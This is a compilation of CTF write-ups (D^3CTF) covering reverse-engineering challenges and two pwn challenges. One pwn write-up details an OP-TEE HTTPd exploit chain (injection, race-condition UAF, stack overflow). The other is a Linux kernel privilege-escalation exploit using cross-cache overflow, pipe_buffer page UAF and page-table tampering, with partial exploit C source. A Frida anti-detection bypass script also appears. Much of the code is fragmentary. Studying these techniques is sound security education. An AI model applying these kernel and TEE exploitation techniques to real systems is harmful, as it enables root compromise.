The symbol table of d3recover_ver2.0 is not stripped, so we can use Bindiff to recover the
symbol table of d3recover_ver1.0 .
The check function is so similar, so you may see d3recover_ver2_check in the symbol table
recovered in d3recover_ver1.0 . Also, you can find the check function through the strings
window.
Focus on the APIs starts with _Pyx , it's easy to analyze the check algorithm:
Use z3solver to get the flag. It's so easy so you can reverse it by yourself, too.
d3sky
The main logic of d3sky is to build a virtual machine using and-not instructions. The other parts
are conventional, mainly as follows:
After understanding this idea, it is actually very simple to solve the problem, just insert piles and
log to observe the logic. Note that after decrypting the opcode, it must be encrypted again.
The core logic of the virtual machine is to XOR the input 4 bytes each time, and then XOR with the
ciphertext. If the result is 0, it means that the verification is successful.
It seems that many people use z3 to solve it, here is the script of reverse algorithm:
enc = [36, 11, 109, 15, 3, 50, 66, 29, 43, 67, 120, 67, 115, 48, 43, 78, 99, 72,
119, 46, 50, 57, 26, 18, 113, 122, 66, 23, 69, 114, 86, 12, 92, 74, 98, 83, 51]
dec = [0] * 37
dec[-1] = 126
print(bytes(dec))
d3Tetris
This challenge gives you a package, open it in wireshark, then you can find a Post request, it's
content-type is "application/x-protobuf".
Use jadx to decompile the apk, then search "application/x-protobuf" in jadx, you can find the logic
about http request
To deserialize the requested data, you should reverse engineer and recover the .proto files before
using protoc for deserialization. alternatively, you can directly use blackboxprotobuf to
deserialize the data.
After deserializing the request data, two suspicious fields were discovered, whose contents were
generated through jni native function. So turn to analyze libnative.so
In the libnative.so , I added anti-frida logic in .init_array , such as detect frida thread、
pipename, memory scan, the details of this part can be seen in https://github.com/darvincisec/De
tectFrida/blob/master/app/src/main/c/native-lib.c
To anti-anti-frida, you can hook before functions in .init_array execute, the script as shown
below
function hook_init_array(module_name) {
if (Process.pointerSize == 4)
var linkername = "linker";
else if (Process.pointerSize == 8)
var linkername = "linker64";
if(call_constructor_addr.compare(NULL) > 0) {
console.log("get construct address");
Interceptor.attach(call_constructor_addr, {
onEnter: function(args) {
if(module_name){
const tagetModule = Process.findModuleByName(module_name);
if(tagetModule){
console.log("hook: "+module_name);
module_name = null;
hook_anti_frida();
}
}
},
onLeave: function(retval) {
}
});
}
}
function hook_anti_frida(){
var base = Module.findBaseAddress("libnative.so");
// 64 bit version as example
var antiFridaFunc = base.add(0x13900);
Interceptor.replace(antiFridaFunc, new NativeCallback(function (arg0) {
return;
}, "void", ["void"]));
}
hook_init_array("libnative.so");
the first jni function retrieves the device's bootid (which is updated every time the device is
rebooted), and then encrypts it using a modified version of aes and nomodified version of
rc4
the second jni function retrieves the device's serial number to use as the iv vector for aes
encryption.
the strings in libnative are encrypted and be decrypted before use, and then re-encrypted to
prevent direct restoration through memory dumping. but frida detection has already been
bypassed, it is possible to obtain plaintext strings through frida and obtain aes and rc4
encryption keys.
the aes encryption has been modified in a way that the order of mixcolumn and shiftrows
has been swapped, therefore, the order also needs to be adjusted during decryption.
the change of decrypt as shown below
// ...
// sbox changed
const unsigned char inv_sbox[16][16] = {
{0x4b, 0x26, 0x7c, 0xf2, 0x48, 0xfd, 0x61, 0xd1, 0x16, 0x91, 0xe2, 0x89,
0x1f, 0xa7, 0x8c, 0xed },
{0x8f, 0xd2, 0x9b, 0x28, 0x81, 0xc9, 0x19, 0xde, 0x4a, 0x2f, 0xce, 0xf4, 0x86,
0xa3, 0x47, 0xdd },
{0x9a, 0x0d, 0xb5, 0x0a, 0xf9, 0xe0, 0x57, 0x2e, 0x27, 0xac, 0xba, 0x88, 0xdc,
0x38, 0x75, 0x06 },
{0xab, 0x64, 0x73, 0xd3, 0x09, 0xa2, 0xc3, 0x78, 0x84, 0xda, 0xd8, 0x7e, 0xd0,
0x10, 0xe3, 0x62 },
{0xc8, 0x76, 0xbd, 0x4f, 0xb3, 0xfc, 0x87, 0xc4, 0x1a, 0x34, 0x39, 0xff, 0x83,
0xe9, 0xf7, 0x0c },
{0x02, 0x50, 0xa5, 0x45, 0x5e, 0xb9, 0xbf, 0x35, 0x3b, 0x1d, 0x53, 0x5b, 0xdb,
0xca, 0xb7, 0xc1 },
{0x65, 0xb2, 0x8e, 0xf6, 0x9c, 0xe7, 0x0e, 0xfb, 0x3d, 0x15, 0xe1, 0x0f, 0x2a,
0x96, 0xd5, 0x90 },
{0xa0, 0xf1, 0x8b, 0x59, 0xe6, 0xb6, 0x7f, 0x7b, 0xec, 0x4e, 0x01, 0x41, 0x93,
0x07, 0xae, 0x18 },
{0x7d, 0x25, 0x6e, 0xb0, 0x52, 0x67, 0xc6, 0x36, 0x56, 0x85, 0x2d, 0xad, 0x44,
0x74, 0xcb, 0x92 },
{0x00, 0xbb, 0x80, 0xe4, 0x40, 0xb1, 0xd7, 0x55, 0xfa, 0x33, 0xa4, 0x98, 0x05,
0x5a, 0xd6, 0x6f },
{0x08, 0x66, 0xbe, 0xb4, 0x31, 0xc7, 0xaa, 0xb8, 0x22, 0xf3, 0x42, 0xe8, 0x99,
0x46, 0x6c, 0xa8 },
{0x51, 0x60, 0xee, 0x13, 0x3c, 0xc0, 0x58, 0x79, 0x29, 0x24, 0xa9, 0xd4, 0x63,
0xcc, 0xc5, 0x77 },
{0xaf, 0x3a, 0x12, 0x6d, 0x8a, 0x49, 0x6a, 0x3f, 0xcd, 0x68, 0x0b, 0x2b, 0x9e,
0x8d, 0x71, 0xea },
{0x82, 0xcf, 0x30, 0x32, 0x94, 0x1b, 0xf5, 0x95, 0x1e, 0xf8, 0xd9, 0xc2, 0x2c,
0x9d, 0x3e, 0x37 },
{0x11, 0xef, 0x43, 0xfe, 0x21, 0x5d, 0xdf, 0x6b, 0xeb, 0xe5, 0x23, 0x1c, 0x7a,
0x4c, 0x54, 0x03 },
{0x04, 0x4d, 0xbc, 0x20, 0x5f, 0xa6, 0xf0, 0x97, 0x69, 0xa1, 0x9f, 0x70, 0x14,
0x72, 0x5c, 0x17 }};
// ...
// AesUtils.cpp
void AES::EncryptBlock(const unsigned char in[], unsigned char out[],
unsigned char *roundKeys) {
unsigned char state[4][Nb];
unsigned int i, j, round;
AddRoundKey(state, roundKeys);
SubBytes(state);
ShiftRows(state);
AddRoundKey(state, roundKeys + Nr * 4 * Nb);
InvMixColumns(state);
InvSubBytes(state);
AddRoundKey(state, roundKeys);
d3rc4
简体中文
keypoints
functions registered in _init_array and _fini_array will be executed before and after main
function.
pipe IPC
pipe is one of the IPC ways in linux,which can pass data from one process to another in one
direction.
In this problem, pipe is used to established a communication channel between parent and child
processes. read and write function are used to read and write data with the channel.
For exanple:initially, the main process get numbers 2-35. It will pick the fist number 2 as base ,
then for each of the rest of numbers, if n mod 2 == 0,it must not be a prime number and will be
discarded, otherwise n will be pass to the child process. The child process will also pick the fist
number received as base (here is 3), then for each of number received after that, if n mod 3 ==
0,it must not be a prime number and will be discarded, otherwise n will be pass to the child's
child process. It will not stop until no number to pass to child process, and you've got all the
primes.
Some confusing items
Since the memory space between the parent process and the child process is completely isolated,
the modification of global variables in the child process will not affect the parent process. And the
final check is completed in the parent process, so some operations in the child process are
interference and will not affect the result.
Expected solution
The expected solution is to restore the encryption logic under the condition of understanding the
algorithm, leaving out the prime sieve part of the code,finally bruting force to get the flag (also
you can try constraint solving tools like z3).
d3syscall
简体中文
This challenge uses the kernel module to dynamically modify the system call and make a simple
virtual machine. The program first obtains the address of the system call table from
/proc/kallsyms , and passes it to the kernel module through parameters. The system calls
reserved by Linux are registered in the kernel module, respectively:
int init(void)
{
sys_call_table_my = (unsigned long *)(magic);
anything_saved[0] = (int (*)(void))(sys_call_table_my[MOV]);
anything_saved[1] = (int (*)(void))(sys_call_table_my[ALU]);
anything_saved[2] = (int (*)(void))(sys_call_table_my[PUSH]);
anything_saved[3] = (int (*)(void))(sys_call_table_my[POP]);
anything_saved[4] = (int (*)(void))(sys_call_table_my[RESET]);
orig_cr0 = clear_cr0();
sys_call_table_my[MOV] = (unsigned long)&mov;
sys_call_table_my[ALU] = (unsigned long)&alu;
sys_call_table_my[PUSH] = (unsigned long)&push;
sys_call_table_my[POP] = (unsigned long)&pop;
sys_call_table_my[POP+1] = (unsigned long)&reset;
sys_call_table_my[POP+2] = (unsigned long)✓
setback_cr0(orig_cr0);
return 0;
}
Use the strace command to run this program, and you can dump all system calls:
syscall_0x14f(0x1, 0, 0x333231, 0xffffffffffffff80, 0, 0x557bacc99890) =
0x333231
syscall_0x14f(0x1, 0x1, 0, 0xffffffffffffff80, 0, 0x557bacc99890) = 0
syscall_0x151(0, 0x1, 0, 0xffffffffffffff80, 0, 0x557bacc99890) = 0x1
syscall_0x14f(0, 0x2, 0, 0xffffffffffffff80, 0, 0x557bacc99890) = 0x333231
syscall_0x14f(0x1, 0x1, 0x3, 0xffffffffffffff80, 0, 0x557bacc99890) = 0x3
syscall_0x150(0x4, 0x2, 0x1, 0xffffffffffffff80, 0, 0x557bacc99890) = 0x1999188
syscall_0x14f(0x1, 0x1, 0x51e7647e, 0xffffffffffffff80, 0, 0x557bacc99890) =
0x51e7647e
...
With a little tidying up, you can get data that is easy to process:
getflag:
d3hell
This is not a hard rev problem in this CTF. This attachment includes a exe file and a dll file. And
the analysis of those files are shown as follow:
For exe
The major work of exe is calculating the prime factor of a large number.
The algorithm used in this program is Pollard_rho . Simply put, it's not a bad approach of
Prime factorization, but its logic is not clear and terrible for analyzing. It is not easy to get a full
understanding for the entire process of computing prime factor, but we can work on in those
aspects:
Changing the input to a small number for getting the corresponding output.
Make use not smc and anti-debugger remained by patch, and then just waiting... (It will take
nearly half an hour).
Only by guessing :)
Using your math and algorithmic knowledge. (No recommend)
Other functions in exe are not important. Only three things needed to be considered: sleep in
while (relative to debug), a function than only return constant (in fact, it does not cause much
delay), no anti-debugger in exe. After patching sleep, most of the time still costs by the algorithm
itself.
After the prime factors are computed, the flag will be printed in the form of antd3ctf{(factor1
after xor)+(factor2 after xor)} .
For dll
It is not a hard job for analyzing the dll. Maybe the change of 64-bit to 32-bit will affect the gdb
when dynamic debugging, but it is not a big due to recover the code if you know assemble well.
These bytecodes are xored to each other one by one.The recover codes are shown as follow:
uint32_t v1[2]={0xC29319B7,0xA47CC631};
uint32_t v2[2]={0x45CFAC9E,0xC39089A6};
uint32_t const k[4]={0x00114514,0x01919810,0x24270047,9};
__int128 tmp=0;
int c=0;
unsigned int r=32;
int i = 0;
unsigned char *ans;
ans = (unsigned char *) 0x0000000000401F13;
if (!IsDebuggerPresent() && c == 0){
uint32_t v1[2]={0xA532267E,0x8EFB0F27};
uint32_t v2[2]={0x3C5F791A,0x1A38CC77};
for(i=0; i<40;i++)
{
re_table[i] = 0x0;
}
}
decipher(r, v1, k);
decipher(r, v2, k);
tmp += (__int128)v1[0] << 96;
tmp += (__int128)v1[1] << 64;
tmp += (__int128)v2[0] << 32;
tmp += (__int128)v2[1];
for(i=0; i<40;i++)
{
*(unsigned char *)(i + 0x00405020) = flag[i];
}
for(i=0; i<40;i++)
{
*(unsigned char *)(i + 0x00405060) = re_table[i];
}
This code will detect the gdb and patch in exe ( sleep function in while) and then giving the fake
flag if hacking is detected. The real number is encoded by tea encryption. It is
698740305822331500978964939673142241 .
If you know what is going on in d3hell.exe, you can simply input that number into factordb.
Or you can just patch dll to make sure correct input is sent to exe, and then waiting for flag.
Tricks
GetModuleHandleA("d3runtime.dll");
if ( fdwReason == 1 )
61FC1628(v3);
return 1;
}
So the function (61FC1628) only is called when this dll is loaded. We can just make gdb attach to
the process to get the correct number and table without analyzing the dll.
Pwn
d3TrustedHTTPd
Github Repo:d3ctf-2022-pwn-d3TrustedHTTPd
Author:Eqqie @ D^3CTF
Analysis
This is a challenge about ARM TEE vulnerability exploitation, I wrote an HTTPd as well as an RPC
middleware on top of the regular TEE Pwn. The TA provides authentication services for HTTPd and
a simple file system based on OP-TEE secure storage. HTTPd is written based on mini_httpd and
the RPC middleware is located in /usr/bin/optee_d3_trusted_core , and they are related as
follows.
To read the log in secure world (TEE) you can add this line to the QEMU args at run.sh .
This challenge contains a lot of code and memory corruption based on logic vulnerabilities, so it
takes a lot of time to reverse the program. In order to quickly identify the OP-TEE API in TA I
recommend you to use BinaryAI online tool to analyze TA binaries, it can greatly reduce
unnecessary workload.
Step 1
The first vulnerability appears in the RPC implementation between HTTPd and
optee_d3_trusted_core . HTTPd only replaces spaces with null when getting the username
parameter and splices the username into the end of the string used for RPC.
When an attacker requests to log in to an eqqie user using face_id, the similarity between the
real face_id vector and the face_id vector sent by the attacker expressed as the inverse of the
Euclidean distance can be leaked by injecting eqqie%09get_similarity .
The attacker can traverse each dimension of the face_id vector in a certain step value (such as
0.015) and request the similarity of the current vector from the server to find the value that
maximizes the similarity of each dimension. When all 128 dimensions in the vector have
completed this calculation, the vector with the highest overall similarity will be obtained, and
when the similarity exceeds the threshold of 85% in the TA, the Face ID authentication can be
passed, bypassing the login restriction.
Step 2
In the second step we complete user privilege elevation by combining a TOCTOU race condition
vulnerability and a UAF vulnerability in TA to obtain Admin user privileges.
When we use the /api/man/user/disable API to disable a user, HTTPd completes this behavior
in two steps, the first step is to kick out the corresponding user using command user kickout and
then add the user to the disable list using command user disable .
TEE is atomic when calling TEEC_InvokeCommand in the same session, that is, only when the
current Invoke execution is finished the next Invoke can start to execute, so there is no
competition within an Invoke. But here, TEEC_InvokeCommand is called twice when implementing
kickout, so there is a chance of race condition.
Kickout function is implemented by searching the session list for the session object whose record
UID is the same as the UID of the user to be deleted, and releasing it.
Disable function is implemented by moving the user specified by username from the enable user
list to the disable user list.
We can use a race condition idea where we first login to the guest user once to make it have a
session, and then use two threads to disable the guest user and log in to the guest user in
parallel. There is a certain probability that when the /api/man/user/disable interface kicks out
the guest user, the attacker gives a new session to the guest user via the /api/login interface,
and the /api/man/user/disable interface moves the guest user into the disabled list. After
completing this attack, the attacker holds a session that refers to the disabled user.
Based on this prerequisite we can exploit the existence of a UAF vulnerability in TA when resetting
users. (I use the source code to show the location of the vulnerability more clearly)
When you reset a user, if the user is already disabled, you will enter the logic as shown in the
figure. The user's object is first removed from the user list, and if the set_face_id parameter is
specified at reset time, a memory area is requested to hold the new face_id vector. The TA then
recreates a user using d3_core_add_user_info . Finally, the TA iterates through all sessions and
compares the uid to update the pointer to the user object referenced by the session. But instead
of using session->uid when comparing UIDs, session->user_info->uid is used incorrectly. The
object referenced by session->user_info has been freed earlier, so a freed chunk of memory is
referenced here. If we can occupy this chunk by heap fengshui, we can bypass the updating of the
user object reference on this session by modifying the UID hold by user_info object and then
make the session refer to a fake user object forged by attacker. Naturally, the attacker can make
the fake user as an Admin user.
To complete the attack on this UAF, you can first read this BGET Explained (phi1010.github.io)
article to understand how the OP-TEE heap allocator works. The OP-TEE heap allocator is roughly
similar to the unsorted bin in Glibc, except that the bin starts with a large freed chunk, which is
split from the tail of the larger chunk when allocating through the bin. When releasing the chunk,
it tries to merge the freed chunk before and after and insert it into the bin via a FIFO strategy. In
order to exploit this vulnerability, we need to call the reset function after we adjust the heap
layout from A to B, and then we can use the delete->create->create gadget in reset function. It
will make the heap layout change in the way of C->D->E. In the end we can forge a Admin user by
controlling the new face data.
Step 3
When we can get Admin privileges, we can fully use the secure file system implemented in TA
based on OP-TEE secure storage (only read-only privileges for normal users).
The secure file system has two modes of erase and mark when deleting files or directories. The
erase mode will delete the entire file object from the OP-TEE secure storage, while the mark mode
is marked as deleted in the file node, and the node will not be reused until there is no free slot.
The secure file system uses the SecFile data structure when storing files and directories. When
creating a directory, the status is set to 0xffff1001 (for a file, this value is 0xffff0000 ). There
are two options for deleting a directory, recursive and non-recursive. When deleting a directory
in recursive mode, the data in the secure storage will not be erased, but marked as deleted.
typedef struct SecFile sec_file_t;
typedef sec_file_t sec_dir_t;
#pragma pack(push, 4)
struct SecFile{
uint32_t magic;
char hash[TEE_SHA256_HASH_SIZE];
uint32_t name_size;
uint32_t data_size;
char filename[MAX_FILE_NAME];
uint32_t status;
char data[0];
};
#pragma pack(pop)
There is a small bug when creating files with d3_core_create_secure_file that the status field
is not rewritten when reusing a slot that is marked as deleted (compared to
d3_core_create_secure_dir which does not have this flaw). This does not directly affect much.
But there is another flaw when renaming files, that is, it is allowed to set a file name with a length
of 128 bytes. Since the maximum length of the file name field is 128, this flaw will cause the
filename to loss the null byte at the end. This vulnerability combined with the flaw of rewriting of
the status field will include the length of the file name itself and the length of the file content
when updating the length of the file name. This causes the file name and content of the file to be
brought together when using d3_core_get_sec_file_info to read file information.
When the d3_core_get_sec_file_info function is called, the pointer to store the file
information in the CA will be passed to the TA in the way of TEEC_MEMREF_TEMP_INPUT . This
pointer references the CA's buffer on the stack.
The TEEC_MEMREF_TEMP_INPUT type parameter of CA is not copied but mapped when passed to
TA. This mapping is usually mapped in a page-aligned manner, which means that it is not only
the data of the size specified in tmpref.size that is mapped to the TA address space, but also
other data that is located in the same page. As shown in the figure, it represents the address
space of a TA, and the marked position is the buffer parameter mapped into the TA.
In this challenge, the extra data we write to the buffer using d3_core_get_sec_file_info will
cause a stack overflow in the CA, because the buffer for storing the file name in the CA is only
128 bytes, as long as the file content is large enough, we can overwrite it to the return address in
the CA. Since the optee_d3_trusted_core process works with root privileges, hijacking its
control flow can find a way to obtain the content of /flag.txt with the permission flag of 400 .
Note that during buffer overflow, /api/secfs/file/update can be used to pre-occupy a larger
filename size, thereby bypassing the limitation that the content after the null byte cannot be
copied to the buffer.
With the help of the statically compiled gdbserver , we can quickly determine the stack location
that can control the return address. For functions with buffer variables, aarch64 will put the
return address on the top of the stack to prevent it from being overwritten. What we overwrite is
actually the return address of the upper-level function. With the help of the almighty gadget in
aarch64 ELF, we can control the chmod function to set the permission of /flag.txt to 766 , and
then read the flag content directly from HTTPd.
Exploit
d3kcache
0x01.Analysis
There's no doubt that it's easy to reverse the kernel module I provided. It create an isolate
kmem_cache that can allocate objects in size 2048.
memset(kcache_list, 0, sizeof(kcache_list));
return 0;
}
The custom d3kcache_ioctl() function provides a menu for allocating, appending, freeing, and
reading objects from kcache_jar , and the vulnerability is just in appending data, where there is
a null-byte buffer overflow when writing surpasses 2048 bytes.
long d3kcache_ioctl(struct file *__file, unsigned int cmd, unsigned long param)
{
//...
switch (cmd) {
//...
case KCACHE_APPEND:
if (usr_cmd.idx < 0 || usr_cmd.idx >= KCACHE_NUM
|| !kcache_list[usr_cmd.idx].buf) {
printk(KERN_ALERT "[d3kcache:] Invalid index to write.");
break;
}
kcache_buf = kcache_list[usr_cmd.idx].buf;
kcache_buf += kcache_list[usr_cmd.idx].size;
retval = 0;
break;
//...
We can also find that the Control Flow Integrity is enabled while checking the config file
provided.
CONFIG_CFI_CLANG=y
0x02. Exploitation
As the kmem_cache is an isolate one, we cannot allocate other regular kernel structs from it, so
the cross-cache overflow is the only solution at the very beginning.
Step.I - Use page-level heap Feng Shui to construct a stable cross-cache overflow.
To ensure stability of the overflow, we use the page-level heap Feng Shui there to construct a
overflow layout.
How it works
Page-level heap Feng Shui is a technique that is not really new, but rather a somewhat new
utilization technique. As the name suggests, page-level heap Feng Shui is the memory re-
arrangement technique with the granularity of memory pages. The current layout of memory
pages in kernel is not only unknown to us but also has a huge amount of information, so the
technique is to construct a new known and controlable page-level granularity memory page
layout manually.
How can we achieve that? Let's rethink about the process how the slub allocator requests pages
from buddy system. When the slab pages it use as the freelist has run out and the partial list of
kmem_cache_node is empty, or it's the first time to allocate, the slub allocator will request pages
from buddy system.
The next one we need to rethink about is how the buddy system allocates pages. It takes the
2^order memory pages as the granularity of allocation and the free pages in different order are
in different linked lists. While the list of allocated order cannot provide the free pages, the one
from list of higher order will be divided into two parts: one for the caller and the other return to
corresponding list. The following figure shows how the buddy system works actually.
Notice that the two low-order continuous memory pages obtained by splitting them from a
higher-order are physically contiguous. Thus, we can:
Now the vulnerable and victim kmem_cache both hold the memory pages that are near by each
other's one, which allow us to achive the cross-cache overflow.
How we exploit
There're many kernel APIs that can request pages directly from the buddy system. Here we'll use
the solution from CVE-2017-7308.
When we create a socket with the PF_PACKET protocol, call the setsockopt() to set the
PACKET_VERSION as TPACKET_V1 / TPACKET_V2 , and hand in a PACKET_TX_RING by
setsockopt() , there is a call chain like this:
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
A pgv struct will be allocated to allocate tp_block_nr parts of 2^order memory pages, where
the order is determined by tp_block_size :
out:
return pg_vec;
out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
The alloc_one_pg_vec_page() will call the __get_free_pages() to request pages from buddy
system, which allow us to acquire tons of pages in different order:
Correspondingly the pages in pgv will be released after the socket is closed.
packet_release()
packet_set_ring()
free_pg_vec()
Such features in setsockopt() allow us to achieve the page-level heap Feng Shui. Note that
we should avoid those noisy objects (additional memory allocation) corruptting our page-level
heap layout. Thus what we should do is to pre-allocate some pages before we allocate the pages
for page-level heap Feng Shui. As the buddy system is a LIFO pool, we can free these pre-
allocated pages when the slab is being running out.
Thus, we can obtain the page-level control over a continuous block of memory, which allow
us to construct a special memory layout within follow steps:
First, release a portion of the pages so that the victim object obtains these pages.
Then, release a block of pages and do the allocation on the kernel module, making it request
this block from the buddy system.
Finally, release another portion of the pages so that the victim object obtains these pages.
As a result, the vulnerable slab pages will be around with the victim objects' slab pages as the
figure shown, which ensure the stablity of cross-cache overflow.
Now let's consider the victim object as the target of cross-cache overflow. I believe that the
powerful msg_msg is the first one that comes to everyone's mind. But we've use msg_msg for too
many times in the past exploitation on many vulnerabilities. So I'd like to explore somthing new
this time. : )
Due to the only one-byte overflow, there's no doubt that we should find those structs with
pointers pointing to some other kernel objects in their header. The pipe_buffer is such a good
boy with a pointer pointing to a struct page at the beginning of it. What's more is that the size of
struct page is only 0x40 , and a null-byte overflow can set a byte to \x00 , which means that we
can make a pipe_buffer point to another page with a 75% probability.
So if we spray pipe_buffer and do the null-byte cross-cache overflow on it, there's a high
probability to make two pipe_buffer point to the same struct page . When we release one of
them, we'll get a page-level use-after-free. It's as shown in following figures.
What's more is that the function of pipe itself allow us to read and write this UAF page. I don't
know whether there's another good boy can do the same as the pipe does : )
But there's another problem, the pipe_buffer comes from the kmalloc-cg-1k pool, which
requests order-2 pages, and the vulnerable kernel module requests the order-3 ones. If we
perform the heap Feng Shui between dirfferent order directly, the success rate of the exploit will
be greatly reduced :(
Luckily the pipe is much more powerful than I've ever imagined. We've known that the
pipe_buffer we said is actually an array of struct pipe_buffer and the number of it is
pipe_bufs .
Note that the number of struct pipe_buffer is not a constant, we may come up with a
question: can we resize the number of pipe_buffer in the array? The answer is yes. We can
use fcntl(F_SETPIPE_SZ) to acjust the number of pipe_buffer in the array, which is a re-
allocation in fact.
long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe;
long ret;
__pipe_lock(pipe);
switch (cmd) {
case F_SETPIPE_SZ:
ret = pipe_set_size(pipe, arg);
//...
//...
Note that the size of struct page is 0x40 , which means that the last byte of a pointer pointing to
it can be \x00 . If we make a cross-cache overflow on such pipe_buffer , it's equal to nothing
happen. So the actual rate of a successful exploitation is only 75% : (
Step.III - Construct self-writing pipes to achive the arbitrary read & write
As the pipe itself provide us with the ability to do the read and write to specific page, and the
size of pipe_buffer array can be control by us, it couldn't be better to choose the pipe_buffer
as the victim object again on the UAF page : )
As the pipe_buffer on the UAF page can be read & write by us, we can just simply apply the pipe
primitive to perform the dirty pipe (That's also how the NU1L team did to solve it).
But as the pipe_buffer on the UAF page can be read & write by us, why shouldn't we
construct a second-level page-level UAF like this?
Why? The page struct comes from a continuous array in fact, and each of them is related to a
physical page. If we can tamper with a pipe_buffer 's pointer to the struct page , we can
perform the arbitrary read and write in the whole memory space. I'll show you how to do it
now : )
As the address of one page struct can be read by the UAF pipe (we can write some bytes before
the exploitatino starts), we can easily overwrite another pipe_buffer 's pointer to this page to.
We call it as the second-level UAF page. Then we close one of the pipe to free the page, spray the
pipe_buffer on this page again. As the address of this page is known to us, we can tamper
with the pipe_buffer on the page pointing to the page ie located directly, which allow the
pipe_buffer on the second-level UAF page to tamper with itself.
We can tamper with pipe_buffer.offset and pipe_buffer.len there to relocate the start
point of a pipe's read and write, but these variables will be reassigned after the read & write
operation. So we use three such self-pointing pipe there to perform an infinite loop:
The first pipe is used to do the arbitrary read and write in memory space by tampering with
its pointer to the page struct.
The second pipe is used to change the start point of the third pipe, so that the third pipe cam
tamper with the first and the second pipe.
The third pipe is used to tamper with the first and the second pipe, so that the first pipe can
read & write arbitrary physical page, and the second pipe can be used to tamper with the
third pipe.
With three self-pointing pipe like that, we can perform infinite arbitrary read and write in the
whole memory space : )
With the ability to do the infinite arbitrary read and write in the whole memory space, we can
escalate the privilege in many different ways. Here i'll give out three meothds to do so.
The init_cred is the cred with root privilege. If we can change current process's
task_struct.cred to it, we can obtain the root privilege. We can simply change the
task_struct.comm by prctl(PR_SET_NAME, "arttnba3pwnn"); and search for the
task_struct by the arbitrary read directly.
Sometimes the init_cred is not exported in /proc/kallsyms and the base address of it is hard
for us to get while debugging. Luckily all the tasj_struct forms a tree and we can easily find the
init 's task_struct along the tree and get the address of init_cred .
Methord 2. Read the page table to resolve the physical address of kernel stack , write the
kernel stack directly to perform the ROP
Though the CFI is enabled, we can still perform the code execution. As the address of current
process's page table can be obtained from the mm_struct , and the address of mm_struct and
kernel stack can be obtained from the task_struct , we can easily resolve out the physical
address of kernel stack and get the corresponding page struct. Thus we can write the ROP gadget
directly on pipe_write() 's stack.
But this solution is not always available. Sometimes the control flow won't be hijacked after the
ROP gadgets are written into the kernel stack page. I don't know the reason why it happened yet :
(
Method 3. Read the page table to resolve the physical address of kernel code, map it to the
user space to overwrite the kernel code(USMA)
It may also be a good way to overwrite the kernel code segment to perform the arbitrary code
execution, but the pipe actually writes a page by the direct mapping area, where the kernel
code area is read-only.
But what we want to do in fact is to write the corresponding physical page, and the page table
is writable. So we can simply tamper with the page table to establish a new mapping to
kernel code's physical pages : )
Final Exploitation
Here is the final code for the explotation with three different ways to obtain the root privilege.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
/**
* I - fundamental functions
* e.g. CPU-core binder, user-status saver, etc.
*/
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
/**
* @brief create an isolate namespace
* note that the caller **SHOULD NOT** be used to get the root, but an operator
* to perform basic exploiting operations in it only
*/
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
/*
* Get a reference to the pipe buffer.
*/
int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
/**
* II - interface to interact with /dev/kcache
*/
#define KCACHE_SIZE 2048
#define KCACHE_NUM 0x10
struct kcache_cmd {
int idx;
unsigned int sz;
void *buf;
};
int dev_fd;
/**
* III - pgv pages sprayer related
* not that we should create two process:
* - the parent is the one to send cmd and get root
* - the child creates an isolate userspace by calling unshare_setup(),
* receiving cmd from parent and operates it only
*/
#define PGV_PAGE_NUM 1000
#define PACKET_VERSION 10
#define PACKET_TX_RING 13
struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};
/* operations type */
enum {
CMD_ALLOC_PAGE,
CMD_FREE_PAGE,
CMD_EXIT,
};
version = TPACKET_V1;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
&version, sizeof(version));
if (ret < 0) {
printf("[x] failed at setsockopt(PACKET_VERSION)\n");
goto err_setsockopt;
}
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
return socket_fd;
err_setsockopt:
close(socket_fd);
err_out:
return ret;
}
return ret;
}
usleep(10000);
return ret;
}
/**
* IV - config for page-level heap spray and heap fengshui
*/
#define PIPE_SPRAY_NUM 200
int pgv_1page_start_idx = 0;
int pgv_4pages_start_idx = PGV_4PAGES_START_IDX;
int pgv_8pages_start_idx = PGV_8PAGES_START_IDX;
/* a pgv need 1 obj: kmalloc-8, 512 objs for 1 slub on 1 page*/
if (i % 512 == 0) {
free_page(pgv_1page_start_idx += 2);
}
puts("");
}
int pipe_fd[PIPE_SPRAY_NUM][2];
int orig_pid = -1, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;
return 0;
}
/**
* V - FIRST exploit stage - cross-cache overflow to make page-level UAF
*/
void corrupting_first_level_pipe_for_page_uaf(void)
{
char buf[0x1000];
/* spray pipe_buffer on order-2 pages, make vul-obj slub around with that.*/
void corrupting_second_level_pipe_for_pipe_uaf(void)
{
size_t buf[0x1000];
